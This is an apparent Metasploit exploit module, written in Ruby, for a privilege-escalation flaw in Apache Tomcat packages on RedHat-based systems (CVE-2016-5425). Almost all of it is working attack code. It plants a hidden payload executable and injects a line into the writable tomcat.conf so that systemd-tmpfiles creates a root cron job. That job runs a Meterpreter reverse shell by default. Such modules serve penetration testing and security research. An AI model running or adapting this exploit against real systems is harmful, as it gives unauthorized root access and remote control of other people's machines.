This Metasploit module exploits a vulnerability in RedHat based systems where improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf for Apache Tomcat versions before 7.0.54-8. The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage temporary files including their creation. With this weak permission, you are able to inject commands into the systemd-tmpfiles service to write a cron job to execute a payload. systemd-tmpfiles is executed by default on boot on RedHat-based systems through systemd-tmpfiles-setup.service. Depending on the system in use, the execution of systemd-tmpfiles could also be triggered by other services, cronjobs, startup scripts etc. This module was tested against Tomcat 7.0.54-3 on Fedora 21.
903a0ee785179782b1e32acadddf0c0d236bad5fe9aa7a732795ae129d42f00e
###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in a command on a linux computer for priv esc.
#
###
class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking
include Msf::Exploit::Retry
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::Linux::Compile
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in RedHat based systems where
improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf
for Apache Tomcat versions before 7.0.54-8. This may also work against
The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage
temporary files including their creation.
With this weak permission, we're able to inject commands into systemd-tmpfiles
service to write a cron job to execute our payload.
systemd-tmpfiles is executed by default on boot on RedHat-based systems
through systemd-tmpfiles-setup.service. Depending on the system in use,
the execution of systemd-tmpfiles could also be triggered by other
services, cronjobs, startup scripts etc.
This module was tested against Tomcat 7.0.54-3 on Fedora 21.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Dawid Golunski <dawid@legalhackers.com>' # original PoC, analysis, discovery
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'DefaultOptions' => {
'WfsDelay' => 1800, # 30min
'payload' => 'linux/x64/meterpreter_reverse_tcp'
},
'References' => [
['EDB', '40488' ],
['URL', 'https://access.redhat.com/security/cve/CVE-2016-5425'],
['URL', 'https://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html'],
['URL', 'https://www.freedesktop.org/software/systemd/man/tmpfiles.d.html'], # general tompfiles.d info
['CVE', '2016-5425']
],
'DisclosureDate' => '2016-10-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),
]
end
# Simplify pulling the writable directory variable
def base_dir
datastore['WritableDir'].to_s
end
def tomcat_conf
'/usr/lib/tmpfiles.d/tomcat.conf'
end
def suid?(file)
get_suid_files(file).include? file
end
def check
package = cmd_exec('rpm -qa | grep "^tomcat\-[678]"')
if package.nil? || package.empty?
return CheckCode::Safe('Unable to execute command to determine installed pacakges')
end
package = package.sub('tomcat-', '').strip
# fedora based cleanup
package = package.sub(/\.fc\d\d\.noarch/, '')
# rhel/centos based cleanup
package = package.sub(/\.el\d_\d\.noarch/, '')
package = Rex::Version.new(package)
# The write-up says 6, 7, 8 but doesn't include version numbers. RHEL's writeup says
# only 7 is effected, so we're going to go off their write-up.
if package.to_s.start_with?('7') && package < Rex::Version.new('7.0.54-8')
return CheckCode::Appears("Vulnerable app version detected: #{package}")
end
CheckCode::Safe("Unexploitable tomcat packages found: #{package}")
end
def exploit
# Check if we're already root
if is_root? && !datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
unless writable? tomcat_conf
fail_with Failure::BadConfig, "#{tomcat_conf} is not writable"
end
vprint_status("Creating backup of #{tomcat_conf}")
@tomcat_conf_content = read_file(tomcat_conf)
path = store_loot(
tomcat_conf,
'text/plain',
rhost,
@tomcat_conf_content,
'tomcat.conf'
)
print_good("Original #{tomcat_conf} backed up to #{path}")
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
vprint_status("Uploading Payload to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe
register_file_for_cleanup(payload_path)
# write in our payload execution
vprint_status("Writing permission elevation into #{tomcat_conf}")
cron_job = "/etc/cron.d/#{rand_text_alphanumeric(5..10)}"
print_status("Creating cron job in #{cron_job}")
# The POC shows 2 options, a cron answer, and copy bash answer.
# Initially I attempted to copy our payload, set suid and root owner
# however it seemed to need 2 service restart to apply all the permissions.
# I never figured out why it was like that, even chaining copying bash in, then
# launching the payload from the bash instance etc. We opt for the cron
# which may take 1 additional minute, and rely on cron, but is much more stable
cmd_exec("echo 'F #{cron_job} 0644 root root - \"* * * * * root nohup #{payload_path} & \\n\\n\"' >> #{tomcat_conf}")
register_file_for_cleanup(cron_job)
# we now need systemd-tmpfiles to restart
print_good("Waiting #{datastore['WfsDelay']} seconds. Run the following command on the target machine: /usr/bin/systemd-tmpfiles --create - this is required to restart the tmpfiles-setup.service")
succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do
file? cron_job
end
unless succeeded
print_error("#{cron_job} not found, exploit aborted")
return
end
print_status('Waiting on cron to execute the payload (~1 minute)')
end
def cleanup
unless @tomcat_conf_content.nil?
write_file(tomcat_conf, @tomcat_conf_content)
end
super
end
end